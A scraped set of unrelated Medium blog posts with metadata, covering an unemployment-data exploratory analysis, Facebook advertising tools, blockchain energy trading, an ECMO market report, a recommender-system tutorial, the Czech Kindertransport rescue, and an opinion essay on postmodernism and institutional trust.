I performed the entire process in Kaggle basically because of the size of the datasets and the availability of an accelerator (GPU) and memory. You should check Kaggle out if you haven’t. It is such a wonderful space for everything datasets to data resources and tools.
Understanding the Basic Structure of The Datasets:
I needed to have an idea of what the data set looked like so I viewed the first five and last five rows:
As soon as I saw the first five row, I had to quickly ask myself if the Year, Month and State had repeated values( that is ‘2015’, ‘February’ and ‘Mississippi’). So I had to quickly check the last 5 rows. And I changed my mind with asking that question when I saw different values.
Next, I checked the data types and the shape(number of rows and columns).
So I discovered that the Year column contained integers. The Month, State and Country basically object types (string in this case) and the Rate column, float(having decimals). I also discovered that the data shape was quite large(885548 rows and 5 columns), as expected, considering that it is for the United States.
Next I checked if this large datasets had missing values. Lucky me, I discovered it didn’t. All rows were present with the appropriate data as a matter of fact. The image below just shows that no row was missing.
I then though of viewing some statistical details in the datasets since I had some rows that were made up of numbers. This is what i discovered:
I found out that the minimum (smallest) value in the Year column was 1990(ignore the other zeros) and the maximum value was 2016. From this I could tell that the latest year represented was 2016 and the earliest was 1990… just the way I expected. It is important to note that no datasets should be trusted because anything could have happened at some point to the datasets; from the point of collection to the point of download. The table above also shows that the highest unemployment rate was 58.4%, an outlier (a value far off from other values in the same column); pretty high and this definitely makes it an outlier especially when you consider the third quartile; the value (7.7%). But we’d look at it a bit later. More information from the table! It can also be seen that the minimum column was 0.00%; a zero unemployment Rate! Questions are starting to pop up… I mean… because a zero unemployment rate isn’t quite a good thing. How do I know? I researched zero unemployment rate! The mean unemployment rate was recorded as 6.18%.
Taking a Closer Look at the Content of the Dataset
My attention went to the State Column next. Like, first of all, are all states in the US represented? And if yes, prove it! Show me! Because I can imagine this unemployment rate would vary from state to state and would also come together(in form of mean)to give the general results of unemployment rate for the entire country.
My findings? 47 states only… with the absence of Alaska, Florida and Georgia. Why? I’m not sure… I mean because Florida is the 7th most populous state in the US, Georgia the 8th most populous state and Alaska covering the largest area in the US. And all these states have been in existence since 1990. Could it be that these states would have influenced greatly the general unemployment rate for the US? Or the people who gathered the dataset lost some. Or my dataset source isn’t valid. Or any other hypothesis you may have?
Let’s move on because we can’t answer these questions yet. Next is understanding how these states are represented by the number of rows they occupy in the entire dataset. Having this in mind; that we have a county column:
So, it is clear that they occupy different number of rows. Why would this be so? Remember there is a County column? yep! Different number of counties per state would make the number of rows occupied vary.
Don’t forget visuals
This first visual above gives an easy view of the number of rows occupied per state. It is such a large graph else the y axes should be a bit more detailed in terms of giving the viewer a great estimate of the number of rows occupied per state.
Finding out the number of counties and the names of the counties:
1752 Counties represented and that is alot to display. Another issue is that Counties are not evenly represented. Aha! Something we were suspecting on the States column but couldn’t conclude because of the varying number of Counties. But since, all the months of the year should be the same for all years and the counties should be repeated the same number of times per month for each year and for the same number of years, So we know something is truly wrong with this dataset. And would this mean that the average unemployment rate for the entire country won’t be quite accurate and not well representing of all states and counties? Yes, definitely!
Next, picking up on another clue; that large unemployment rate we saw displayed on the statistic summary. Could that have been an error since some outliers are said to be errors? Let’s look at a boxplot for this information:
It is seen that the outliers happen to be alot. Outliers are sometimes said to be errors, but from the graph above, I might actually say that it isn’t, because of the number of outliers present. seems to me that alot of counties experienced this high rate of unemployment as well. Just that in relation to the entire dataset, they are few. Below are displays of these high unemployment rate.
I’m curious about getting a definite percentage figure of these outliers. They sure don’t make our dataset pretty and they pose alot of confusions about them truly being outliers, But if I can confirm that they aren’t much and aren’t just caused by a big gap in our dataset, then I would gladly move along and pay them no attention.
So from information gotten from the boxblot, extracting the number of these outliers and the percentage as well in relation to the entire dataset, and getting the number of rows of unemployment rate greater than 15%;
Number of rows with unemployment rate greater than 15% is 13,868 and that is just 1.57% of our entire dataset. That’s it, I’m done with the outlier thing. Oh, one more thing first:
A little more detail about the largest Unemployment rate in the entire dataset :
The highest unemployment rate recorder is 58.4%. in 1992, San Juan County, Colorado. This value is seriously high and posses lots of questions. Like what actually happened that lead to the high unemployment rate. The only activity around that period that may have caused this is the after effect of the recession that happened for 8 months between July 1990 to March 1991, because there are no histories of natural disasters, pandemic or anything of that nature! I won’t give much details on the other high unemployment rates in this percentage, because I have observed that they are from different years. No particular pattern. I mean, take a look:
But then, How about the states, is there any pattern?
oops! Sure! 39 states have their unemployment rates in several counties higher than 15%. And 8 states managed to maintain unemployment rates in the different counties, from 1990 to 2016 to be less than 15%. These states are Delaware, Wyoming, Kansas, Connecticut, New Hampshire, Vermont, Nebraska and Rhode Island. Amazing!
So, I’d just move to some other clue.
Zero Unemployment Rate:
2 major counties in Texas kept having 0 unemployment rate though a three year span. This makes the Dataset questionable as a lot of people would argue that a zero unemployment rate is practically impossible. But then if data don’t lie, I smell problems forth coming in the following years basically because a zero unemployment rate would mean that the every person in the work force of that county was employed and so it would be difficult to upscale business, get more staff to grow the business and sack people who aren’t performing up to the company’s or organisational standard. But that wasn’t the case in the following years, so I would assume that these rates are errors, They probably weren’t imputed; my thoughts!
Observing Grouped Data
I cut my trail on individual state and county patterns and wanted to group my dataset and I did per state then per year:
The state with the lowest average unemployment rate(through 1990 to 2016) is Nebraska (3.1%) and the state with the highest average unemployment rate is Arizona(9.3%).
The year that had the lowest average unemployment rate was 2000 (4.32%). This shows us indeed that the US only started to experience this recession after the year 2000 although other countries started to experience it from the year 2000. The highest unemployment rate was in 2010 (9.19%). I would like to attribute this high unemployment rate to the great recession that took place between December 2007 and June 2009. Most recession cases are seen to have ended with growing unemployment rate lasting for nothing less than a year.
So we can go on and on investigating (I would let you do that). Did you pick up any trail to follow? You could investigate more as to how the unemployment rate trended in the state with the highest average unemployment rate or the one with the lowest. You could also investigate the pattern of unemployment rate (from January to December) for each year or months. There are so many patterns that can be found. But don’t forget to visualize.
You could check out my notebook for this Unemployment Rate Dataset HERE
So yeah, EDA,… maybe not such a big deal! | https://medium.com/swlh/getting-started-with-exploratory-data-analysis-756732a5bf0e | ['Gold Ochim'] | 2020-11-27 00:00:42.541000+00:00 | ['Exploratory Data Analysis', 'Unemployment Rate', 'Analysis', 'Kaggle', 'Wrangling'] |
How and Why Businesses are Using Facebook in 2020 | Photo by NeONBRAND on Unsplash
Surprising to many, Facebook is still alive and kicking in 2020. Believe it or not, your moms favorite photo sharing site is actually a crucial platform and tool businesses utilize day in and day out. While Facebook is not as mainstream as it once was, it has still managed to stay around by weaving itself into the very fabric of advertising. With a savvy advertising interface, Zuckerberg’s brainchild has cemented itself as one of the most effective websites to promote content on. This is mostly due to two key elements: Facebook Ads Manager and Facebook Creative Hub. These two tools open users to entirely new realm of advertising possibilities, users can create, collaborate, and share with unprecedented ease. The goal of this article to break down what elements Facebook has to offer and explain how to best utilize them in 2020.
First off, Facebook Ads Manager. Ads Manager is an interface where users can overview all aspects of their advertising campaigns. Facebook ads manager has three key features. In the platform users can create campaign ads (using ad creation), manage multiple ads at once, and track ad performance. Users can create and design ads through a step by step program called “ad creation”. In this window users can create very specific ads to reach their target audience, they can choose the marketing objective, the people they want to reach, the places to show your ad and the visual format of the ad. The other great thing about ads manager is that one can monitor multiple ads at once, this is a great way to trial and error as one can edit settings such as audience, budget, and placement. Users can even create more than one copy of their ad to push out even more content. Another cool feature of ads manager is that, users can view the most relevant and up-to-date data on the performance of ads and schedule progress reports. This ensures users that they can receive the most accurate insights on who their ads are reaching. Lastly, for those who are constantly on the go Facebook has mobile apps of Ads manager to ensure users that they create and monitor ads from anywhere at any time.
Secondly, let’s explore the wonders of the Facebook Creative Hub. The Creative Hub was trialed and tested with over 30 creative agencies around the world to ensure the platform is engineered to go above and beyond industry standards. According to Facebook themselves the Creative Hub is the “one-stop destination for learning about, mocking up, previewing and testing Facebook and Instagram ads”. Creative Hub is available on the web but engineered to work on mobile platforms. Facebook understands how busy modern life is and has geared the interface toward keeping up with their constituents, not the other way around.
The Creative Hub also has three key features: the inspiration gallery, the preview tool, and the mobile feed preview. The inspiration gallery allows users to easily discover what other brands and users have created on both Facebook and Instagram, across a multitude of formats including 360 video, carousel, canvas and video. The inspiration gallery is the perfect jumping off point to see what works well when designing content. Secondly, the preview tool allows users to mockup ideas on all available ad formats on Facebook and Instagram directly from Creative Hub. It is great way to play around with designs. Additionally, if you apart of an agency that has a Facebook Business Manager account, you can collaborate and share mockups with those on your team all in the Creative Hub window. Lastly, users can see their work in action too. Once one creates their mock-up, they can view as if it’s live in a mobile feed. For example, one could use this feature to see how it would be presented on a Facebook feed or Instagram feed. Users can also trial their mock up in colleagues feeds to get feedback on how the ad looks in different users live feed.
Simply put, Facebook has the tools to make one dangerous in the advertising world. Facebook ads manage and Facebook Creative Hub are weapons that would strengthen any advertising arsenal. Through the creative hub users can find ingenuity from other creators in the inspiration gallery. Then take these ideas and run with them in the preview tool by creating an infinite number of mockups. All in the hopes of forming the perfect ad for their campaign. A campaign that which they can monitor with unprecedented insights in the Ads Manager platform. All in all, Facebook has created a fully immersive advertising system that has the critics raving. Props, to you Facebook for once again reinventing yourself as one of the savvier social media platforms on the planet. | https://medium.com/@tui89521/how-and-why-businesses-are-using-facebook-in-2020-1131d5ecaff5 | [] | 2020-02-20 03:20:48.462000+00:00 | ['Innovation', 'Advertising', 'Facebook', 'Lifehacks', 'Business'] |
Can Blockchain convert Mega-watts to Mega-bucks? Blockchain in Energy Trading | In October 2020, Wildpoldsried in the Bavarian Allgäu region became the first German municipality to try out blockchain-based electricity trading platform, intending to enable a local energy market. The platform enables local energy producers to sell energy directly to consumers bypassing grid operators and energy markets. Named pebbles, this platform envisioned by Siemens, the regional utility Allgäuer Überlandwerk (AÜW) and other partners connects producers, consumers, and storage facilities so they can optimise the way they locally trade energy with each other.
This demo could open a world of possibility in this niche yet the fast-developing field of blockchain-enabled energy trading that could help Europe attain its 2050 carbon-reduction goals.
Blockchain Solutions for the Energy Industry
Blockchain or distributed ledger technology (DLT) is not new but could become a disruptor for the conventional system of energy intermediaries or brokers. By relying on cryptographic proof of ownership, it could effectively cut the middle person out of the energy trading equation.
Through standardisation and smart contracts, blockchain in energy trading will reduce transaction costs, which will allow a dramatic increase in smaller lot sizes. This will enable the prosumer to participate in the markets directly to buy and sell energy.
Smart contracts application within the blockchain technology will enable automatic execution of preset codes that will help maintain price or volume conditions.
With the rising need for a decentralized electricity system, blockchain technology will help to provide better reporting, transparency, and secure dissemination of data.
Can Blockchain convert Mega-watts to Mega-bucks?
For a decentralized, renewable grid, there exists the need to record securely a ledger of activities and transactions between the various participants — e.g., homeowners with Renewable Energy Sources can sell their excess renewable energy back into their grid, regulators can easily monitor and maintain energy quality, and local utilities can efficiently aggregate customers into virtual power plants.
A simulation of a block-chain based Local Energy Market that allowed consumers and prosumers to trade energy without the need for a third party demonstrated optimized consumption and a significant reduction in electricity costs. Money saved is indeed money gained.
Overall, there is increasing trust towards blockchain energy trading as it provides better efficiency and clear traceability from energy generation to coin issuance to redemption.
Blockchain: A Power and Utilities (P&U) Perspective
Though blockchain was initially embraced in the finance sector, it has many interesting use cases in the energy sector. It would deliver a much more seamless countrywide scale of interoperability and payment mechanism for charging EVs.
Blockchain will facilitate a peer-to-peer, market to consumer, and consumer to market trading. With a well-distributed system and energy optimization, there could real-time asset and commodity management and supply chain tracking.
The European P&U industry is engaging in collaborative pilot programs to explore blockchain technology, especially in energy trading.
The Swedish power company Vattenfall has come out with Enerchain that focuses on the execution of bilateral trade of physical electricity and gas within Europe.
Originally featuring 23 participants, the project now includes most big names in Europe including RWE, Eon, Uniper, EnBW, Wien Energie and Enel.
Blockchain in the Electricity Grid
The electricity grids in Europe are becoming more volatile with the growing share of renewable energy and maintaining grid stability is of prime importance. It was one of the reasons TenneT, Sonnen, and Vandebron joined forces with IBM for two pilot projects in blockchain technology for managing the electricity grid in the Netherlands and Germany. The projects aim to enable decentralized flexible energy sources to play a bigger role in the grid.
Blocks Awaiting Blockchain Technology
Some industry experts opine that the market is immature for adopting blockchain technology. In a survey conducted by EY, 70% of an entrepreneurial target group responded that they could not secure all the funding required for their blockchain projects. 17% did not receive any funding. Some large-scale project implementations are also said to be taking a backseat due to the lack of strong, supportive business cases.
The road ahead for blockchain-enabled applications could see these challenges:
An immature technology : The immaturity of blockchain as a technology is one of the biggest hurdles in front of innovators to implement pilots.
: The immaturity of blockchain as a technology is one of the biggest hurdles in front of innovators to implement pilots. Regulatory and legal concerns : The lack of clarity around the legal and regulatory aspects of using blockchain technology is a deterrent for big organisations that want to be sure-footed.
: The lack of clarity around the legal and regulatory aspects of using blockchain technology is a deterrent for big organisations that want to be sure-footed. Skill gaps : Shortage of talent to implement blockchain projects is an obstacle for most big energy companies.
: Shortage of talent to implement blockchain projects is an obstacle for most big energy companies. Real Business Cases : The expectations are high, and blockchain technology is being experimented upon in multiple verticals within organisations. However, which of these can solve real and create enough traction to overcome legacy hurdles?
Unlocking Blockchain Technology
Blockchain’s full potential is yet to be unlocked and many startups and some P&Us are spending a lot of time and energy to win over sceptics — a mammoth task considering there are few and far use-case scenarios and small-scale tactical innovations to quote.
With distributed energy resources and renewables poised to grow exponentially, it would make sense for energy companies to invest more in R&D to develop the blockchain technology to democratize participation in the electricity grid. And to overcome existing hurdles, and prove its mettle, blockchain-enabled energy trading should deliver tangible monetary or time benefits that can overshadow legacy hurdles.
Dagny Osk Ragnarsdottir, business analyst at Landsvirkjun, Iceland will be speaking in detail about the traceability of PPAs and Green Certificates and Blockchain technologies for Direct Electricity trading at the 9th Annual Electricity Price Forecasting & Advanced Modelling 2021, on 16th-17th February.
Join us online for the longest average minutes of direct peer-to-peer interaction with experts in the European electricity pricing & trading. | https://medium.com/@prosperoeventsgroup/can-blockchain-convert-mega-watts-to-mega-bucks-blockchain-in-energy-trading-bb94ea10d489 | ['Prospero Events Group'] | 2020-12-21 08:33:58.439000+00:00 | ['Blockchain', 'Blockchain Technology', 'Utilities', 'Renewable Energy', 'Distributed Energy'] |
Extracorporeal Membrane Oxygenation Machine Market Size Worth $394.9 Million By 2027 | The global extracorporeal membrane oxygenation machine market size is expected to reach USD 394.9 million by 2027, according to a new report by Grand View Research, Inc., registering a CAGR of 4.5% over the forecast period. The market is primarily driven by the increasing incidence of cardiopulmonary and respiratory diseases, and technological advancements in the field of extracorporeal membrane oxygenation (ECMO) procedures. Cardiovascular disease is one of the leading causes of death globally. According to WHO, 17.9 million people died from cardiovascular diseases in 2016. In addition, according to the Extracorporeal Life Support Organization, a total of 45,035 patients globally suffered from respiratory illnesses in 2016. Increasing awareness about ECMO procedures, coupled with various government initiatives, is further propelling the market for extracorporeal membrane oxygenation machines.
The increasing survival rate of cardiac and respiratory patients undergoing ECMO machine-supported surgery is also driving the ECMO machine market. The application of extracorporeal membrane oxygenation machine in procedures has increased over the years. This machine was traditionally used in cases of circulatory or respiratory failure. However, its applications have expanded to be used as rescue therapy for post-organ transplantation and sepsis and in cases of heart failure. The use of extracorporeal membrane oxygenation machines has been rising gradually worldwide owing to its benefits such as acting as an artificial lung for patients and growing awareness about its use. Moreover, increasing healthcare expenditure by government and private agencies in order to improve healthcare facilities are fueling the market for extracorporeal membrane oxygenation machines. According to the American Heart Association, medical expenditure related to CVDs is expected to reach USD 960 billion by 2030, rising from USD 320 billion in 2011.
Click the link below:
https://www.grandviewresearch.com/industry-analysis/extracorporeal-membrane-oxygenation-ecmo-market
Further key findings from the study suggest: | https://medium.com/@marketnewsreports/extracorporeal-membrane-oxygenation-machine-market-7150fa53ee42 | ['Gaurav Shah'] | 2020-12-22 06:40:41.884000+00:00 | ['Japan', 'Medical Devices', 'Spain', 'Russia', 'China'] |
Perfecting Recommendation Pipeline with Advanced Statistical and Algebraic Computations | This post is an extension to my last blog that described the most lucid pipeline of general recommendation systems through a promising demonstration with the most popular MovieLens data set. However, it suffers from some inherent fallacies as it takes into account only the similarity aspect and rules out the other relevant considerations that may play significant role in establishing more accurate correlation between the actual versus to be recommended items. This goes without saying that formulations hereafter is quite generic and can be leveraged unequivocally to recommend movies, musics, books, dates(dating apps), healthcare and other recommendable products or services. Commercially employed recommendation systems are undoubtedly very good at mining all potential features that data corpus could offer and that too optimally.
With the ambition to decipher and discern the technical crux behind such complex yet accurate recommendation system, I have endeavored to present a better version of pipeline incorporating advanced dimensions of features impacting the results.
Standard Methods
Recommendation Systems usually rely on larger data sets and specifically need to be organized in a particular fashion before cool stuff burgeons. I have ensured to capture an intensive walk through process on creating a recommendation system using Python with the same Movie Lens Data Set. Two most common types of recommender systems are Content-Based and Collaborative Filtering (CF).
Collaborative filtering produces recommendations based on the knowledge of users’ attitude to items, that is it uses the “wisdom of the crowd” to recommend items.
produces recommendations based on the knowledge of users’ attitude to items, that is it uses the “wisdom of the crowd” to recommend items. Content-based recommender systems focus on the attributes of the items and give us recommendations based on the similarity between them.
Collaborative Filtering
In general, Collaborative filtering (CF) is more commonly used than content-based systems because it usually gives better results and is relatively easy to understand (from an overall implementation perspective). The algorithm has the ability to do feature learning on its own, which means that it can start to learn for itself what features to use.
CF can be further divided into Memory-Based Collaborative Filtering and Model-Based Collaborative filtering.
In this tutorial, we will implement Model-Based CF by using singular value decomposition (SVD) and Memory-Based CF by computing cosine similarity.
The Data
We will use famous MovieLens data set, which is one of the most common data sets used when implementing and testing recommender engines. It contains 100k movie ratings from 943 users and a selection of 1682 movies.
We can download the dataset here or just simply use the u.data file that is already included in my github source code.
Lets Get Started
Importing standard libraries and data overview.
2. Merging the two data frames.
3. Train Test Split.
Memory-Based Collaborative Filtering
Memory-Based Collaborative Filtering approaches can be divided into two main sections: user-item filtering and item-item filtering.
A user-item filtering will take a particular user, find users that are similar to that user based on similarity of ratings, and recommend items that those similar users liked.
In contrast, item-item filtering will take an item, find users who liked that item, and find other items that those users or similar users also liked. It takes items and outputs other items as recommendations.
Item-Item Collaborative Filtering: “Users who liked this item also liked …”
User-Item Collaborative Filtering: “Users who are similar to you also liked …”
In both cases, we create a user-item matrix which built from the entire dataset. Since we have split the data into testing and training we will need to create two [943 x 1682] matrices (all users by all movies). The training matrix contains 75% of the ratings and the testing matrix contains 25% of the ratings. After we have built the user-item matrix we calculate the similarity and create a similarity matrix.
The similarity values between items in Item-Item Collaborative Filtering are measured by observing all the users who have rated both items.
For User-Item Collaborative Filtering the similarity values between users are measured by observing all the items that are rated by both users.
A distance metric commonly used in recommender systems is cosine similarity, where the ratings are seen as vectors in n -dimensional space and the similarity is calculated based on the angle between these vectors. Cosine similiarity for users a* and *m can be calculated using the formula below.
To calculate similarity between items m* and *b we use the formula:
Algebraic Computations
Our first step will be to create the user-item matrix. Since we have both testing and training data we need to create two matrices.
Predictions
Next step is to make predictions. We have already created similarity matrices: user_similarity and item_similarity and therefore we can make a prediction by applying following formula for user-based CF:
We can look at the similarity between users k* and *a as weights that are multiplied by the ratings of a similar user a (corrected for the average rating of that user). We will need to normalize it so that the ratings stay between 1 and 5 and, as a final step, sum the average ratings for the user that we are trying to predict.
The idea here is that some users may tend always to give high or low ratings to all movies. The relative difference in the ratings that these users give is more important than the absolute values. To give an example: suppose, user k* gives 4 stars to his favourite movies and 3 stars to all other good movies. Suppose now that another user *t rates movies that he/she likes with 5 stars, and the movies he/she fell asleep over with 3 stars. These two users could have a very similar taste but treat the rating system differently.
When making a prediction for item-based CF we don’t need to correct for users average rating since query user itself is used to do predictions.
Evaluation
There are many evaluation metrics but one of the most popular metric used to evaluate accuracy of predicted ratings is Root Mean Squared Error (RMSE).
We can use the mean_square_error (MSE) function from sklearn , where the RMSE is just the square root of MSE. To read more about different evaluation metrics we can take a look at this article.
Since we only want to consider predicted ratings that are in the test dataset, we filter out all other elements in the prediction matrix with prediction[ground_truth.nonzero()] .
Memory-based algorithms are easy to implement and produce reasonable prediction quality. The drawback of memory-based CF is that it doesn’t scale to real-world scenarios and doesn’t address the well-known cold-start problem, that is when new user or new item enters the system. Model-based CF methods are scalable and can deal with higher sparsity level than memory-based models, but also suffer when new users or items that don’t have any ratings enter the system. I would like to thank Ethan Rosenthal for his post about Memory-Based Collaborative Filtering.
Model-based Collaborative Filtering
Model-based Collaborative Filtering is based on matrix factorization (MF) which has received greater exposure, mainly as an unsupervised learning method for latent variable decomposition and dimensionality reduction. Matrix factorization is widely used for recommender systems where it can deal better with scalability and sparsity than Memory-based CF. The goal of MF is to learn the latent preferences of users and the latent attributes of items from known ratings (learn features that describe the characteristics of ratings) to then predict the unknown ratings through the dot product of the latent features of users and items. When we have a very sparse matrix, with a lot of dimensions, by doing matrix factorization we can restructure the user-item matrix into low-rank structure, and we can represent the matrix by the multiplication of two low-rank matrices, where the rows contain the latent vector. We fit this matrix to approximate our original matrix, as closely as possible, by multiplying the low-rank matrices together, which fills in the entries missing in the original matrix.
Let’s calculate the sparsity level of MovieLens dataset:
To give an example of the learned latent preferences of the users and items: let’s say for the MovieLens dataset we have the following information: (user id, age, location, gender, movie id, director, actor, language, year, rating). By applying matrix factorization the model learns that important user features are age group (under 10, 10–18, 18–30, 30–90), location and gender, and for movie features it learns that decade, director and actor are most important. Now if we look into the information we have stored, there is no such feature as the decade, but the model can learn on its own. The important aspect is that the CF model only uses data (user_id, movie_id, rating) to learn the latent features. If there is little data available model-based CF model will predict poorly, since it will be more difficult to learn the latent features.
Models that use both ratings and content features are called Hybrid Recommender Systems where both Collaborative Filtering and Content-based Models are combined. Hybrid recommender systems usually show higher accuracy than Collaborative Filtering or Content-based Models on their own: they are capable to address the cold-start problem better since if we don’t have any ratings for a user or an item we could use the metadata from the user or item to make a prediction.
SVD
A well-known matrix factorization method is Singular value decomposition (SVD). Collaborative Filtering can be formulated by approximating a matrix X by using singular value decomposition. The winning team at the Netflix Prize competition used SVD matrix factorization models to produce product recommendations, for more information I recommend to read articles: Netflix Recommendations: Beyond the 5 stars and Netflix Prize and SVD. The general equation can be expressed as follows:
Given m x n matrix X :
U is an (m x r) orthogonal matrix
is an orthogonal matrix S is an (r x r) diagonal matrix with non-negative real numbers on the diagonal
is an diagonal matrix with non-negative real numbers on the diagonal V^T is an (r x n) orthogonal matrix
Elements on the diagnoal in S are known as singular values of X .
Matrix X can be factorized to U , S and V . The U matrix represents the feature vectors corresponding to the users in the hidden feature space and the V matrix represents the feature vectors corresponding to the items in the hidden feature space.
Now we can make a prediction by taking dot product of U , S and V^T .
Carelessly addressing only the relatively few known entries is highly prone to overfitting. SVD can be very slow and computationally expensive. More recent work minimizes the squared error by applying alternating least square or stochastic gradient descent and uses regularization terms to prevent overfitting. Alternating least square and stochastic gradient descent methods for CF will be covered in the future tutorials.
Review
We have covered how to implement simple Collaborative Filtering methods, both memory-based CF and model-based CF.
methods, both memory-based CF and model-based CF. Memory-based models are based on similarity between items or users, where we use cosine-similarity.
are based on similarity between items or users, where we use cosine-similarity. Model-based CF is based on matrix factorization where we use SVD to factorize the matrix.
is based on matrix factorization where we use SVD to factorize the matrix. Building recommender systems that perform well in cold-start scenarios (where little data is available on new users and items) remains a challenge. The standard collaborative filtering method performs poorly is such settings.
Looking for more ?
If you want to tackle your own recommendation system analysis, check out these data sets.
Note: The files are quite large in most cases, not all the links may stay up to host the data, but the majority of them still work. Or just Google for your own data set!
Movies Recommendation:
MovieLens — Movie Recommendation Data Sets http://www.grouplens.org/node/73
Yahoo! — Movie, Music, and Images Ratings Data Sets http://webscope.sandbox.yahoo.com/catalog.php?datatype=r
Jester — Movie Ratings Data Sets (Collaborative Filtering Dataset) http://www.ieor.berkeley.edu/~goldberg/jester-data/
Cornell University — Movie-review data for use in sentiment-analysis experiments http://www.cs.cornell.edu/people/pabo/movie-review-data/
Music Recommendation:
Last.fm — Music Recommendation Data Sets http://www.dtic.upf.edu/~ocelma/MusicRecommendationDataset/index.html
Yahoo! — Movie, Music, and Images Ratings Data Sets http://webscope.sandbox.yahoo.com/catalog.php?datatype=r
Audioscrobbler — Music Recommendation Data Sets http://www-etud.iro.umontreal.ca/~bergstrj/audioscrobbler_data.html
Amazon — Audio CD recommendations http://131.193.40.52/data/
Books Recommendation:
Institut für Informatik, Universität Freiburg — Book Ratings Data Sets http://www.informatik.uni-freiburg.de/~cziegler/BX/
Food Recommendation:
Chicago Entree — Food Ratings Data Sets http://archive.ics.uci.edu/ml/datasets/Entree+Chicago+Recommendation+Data
Healthcare Recommendation:
Nursing Home — Provider Ratings Data Set http://data.medicare.gov/dataset/Nursing-Home-Compare-Provider-Ratings/mufm-vy8d
Hospital Ratings — Survey of Patients Hospital Experiences http://data.medicare.gov/dataset/Survey-of-Patients-Hospital-Experiences-HCAHPS-/rj76-22dk
Dating Recommendation:
www.libimseti.cz — Dating website recommendation (collaborative filtering) http://www.occamslab.com/petricek/data/
Scholarly Paper Recommendation:
National University of Singapore — Scholarly Paper Recommendation http://www.comp.nus.edu.sg/~sugiyama/SchPaperRecData.html
Conclusion
It was a comprehensive articulation of statistics and algebra that typically goes behind perfecting a recommendation system on large scale. I sincerely hope, avid enthusiasts and practitioners would find it intriguing enough to reciprocate the pointers with caveats in mind. Don’t forget to share your interesting observations or empirical results in comment section while emulating the project. It really helps in expanding everyone’s knowledge horizon. | https://medium.com/analytics-vidhya/perfecting-recommendation-pipeline-with-advanced-statistical-and-algebraic-computations-8341a5398988 | ['The Immaculate Blogger'] | 2019-11-29 14:57:03.260000+00:00 | ['Recommendation System', 'Svd', 'Collaborative Filtering', 'Cosine Similarity', 'Data Science'] |
A Life Changing Secret | How one man made a difference to the lives of so many.
From bbc.com
Grete Winston was searching through her attic in 1988 and stumbled across a scrapbook she had never seen before. It was filled with names, photos, and various other documents that painted a picture she was unaware of until that moment.
From cbsnews.com
The scrapbook belonged to her husband, Nicholas Winston, and it illustrated an effort which led to saving the lives of 669 children from certain death as the threats of the Nazi regime became more imminent with each passing day. He had remained quiet about his participation in rescuing these children from Czechoslovakia and nearly 50 years after his remarkable mission the world would realize how one individual can truly make an impact. Grete reached out to Holocaust historian, Dr. Elisabeth Maxwell, to share the heroic efforts of her husband and from there the word spread which highlighted the endeavors.
From cbsnews.com
Nicholas Winston was a stockbroker in London in 1938 and was planning a vacation to Switzerland to go on a ski trip in December of that year. He chose to forego that trip and instead journeyed to Czechoslovakia after he had received a phone call from his friend, Martin Blake, who requested his assistance on an interesting assignment. Once he arrived, he was asked to help in the refugee camps where thousands of people were being forced to live in horrifying conditions. Winston believed that the outbreak of war was inevitable and realized that something must be done to help refugee children. He had a vision and was determined to start a mass evacuation to get these children to safety. There was no organization dedicated to assisting these children which prompted the decision to operate under the guise of a legitimate organization, The British Committee for Refugees from Czechoslovakia-Children’s Section. The establishment was a true operation; however, they did not have a section that was focused on children. Winston has said that he had to utilize forgery and blackmail to ensure the mission was achieved. | https://medium.com/lessons-from-history/a-life-changing-secret-41dbfc7725f1 | ['Jennifer Marie'] | 2020-10-23 05:59:52.352000+00:00 | ['World War II', 'Holocaust', 'Nazis', 'History', 'Refugees'] |
We Are Losing Trust in Our Institutions and It’s Very Concerning | We Don’t Want to Trust the Process
Postmodernism was a philosophical movement that started in the 1960s. According to the Stanford Encyclopedia of Philosophy:
“Postmodernism is indefinable is a truism. However, it can be described as a set of critical, strategic and rhetorical practices employing concepts such as difference, repetition, the trace, the simulacrum, and hyperreality to destabilize other concepts such as presence, identity, historical progress, epistemic certainty, and the univocity of meaning.”
The Enlightenment period dispensed with monarchies and implemented institutions such as constitutional government. It also brought with it useful ideas such as liberty, freedom, tolerance, progression, and the separation of church and state.
However, in the 20th century, WW2 came about. This was followed by the Cold War and the utilization of the nuclear missile. It was then that people realized that the same institutions they trusted to progress them into the future were just as likely to destroy them. Postmodernism was a direct response to this.
The point of postmodernism is simple — to question the status quo. Postmodernism does not just question institutions, it questions everything. All the way back to the ideas brought about by the Enlightenment. Postmodernism dismisses the concept of objective truth. Rather, it provides us with a lens and a direction — to challenge everything established.
Postmodernism is in our blood. The 1960s was a pivotal moment politically and culturally for America. Institutional instability, coupled with the rising popularity of psychedelics created a culture of revolt. The fight for the end of Jim Crow laws and the establishment of the Equal Pay Act were clear examples of the evolving culture.
This need to question institutions is still present today. We don’t want to trust the process, we want to challenge it.
Questioning Is Good Unless Taken Too Far
Questioning the status quo is good. It provides us with an opportunity to critically examine the established position and uncover the truth. However, productive questioning still requires certain axioms to function. It is not productive when self-constructed narratives replace such axioms.
Sometimes these narratives become the ‘truth’. They get treated as the template to base reality on. If reality does not agree with the constructed narrative, that narrative morphs it to agree. A prime example was the Black Lives Matter movement. The movement initially started as a retaliation against police brutality. That was a noble aim.
A subset of the police is discriminating and shooting others based on race. Police brutality was their narrative and it was police brutality that fuelled their protests. However, this narrative evolved to encompass all non-minority groups and even institutions. Systemic racism became the narrative, there may be some truth in this, but it was not a productive way of viewing America.
Systemic racism covered everything. All of America was racist, essentially, and this only served to further divide the country. Unreasonable demands were made based on the idea that the African-American community was still suffering from the repercussions of slavery. Even George Washington was antagonized.
This was an explicit critique of American institutions, stating that racism was institutionalized. Institutions and organizations are the cornerstones of one’s country. Distrust in these cornerstones only leads to social unrest.
Social unrest is good if it is warranted and productive, like the fight for Civil Rights in the 1960s. Tearing down statues of our forefathers because they owned slaves is not productive. Hating all American institutions because they are apparently racist is not productive. Destroying businesses and looting shophouses is not productive.
Not everyone in the movement did this as there were many who peacefully and productively advocated. And I commend them. The reaction from the police also did little to cement our trust in our institutions. Therefore, both sides were at fault.
Be it the Black Lives Matter movement or the Presidential Election, the social unrest that stems from our lack of institutional trust is very concerning. | https://theapeiron.co.uk/we-are-losing-trust-in-our-institutions-and-its-very-concerning-b1637cf13ac4 | ['Ethan Chua'] | 2020-11-27 12:02:31.395000+00:00 | ['Postmodernism', 'Government', 'Media Criticism', 'Philosophy', 'Politics'] |
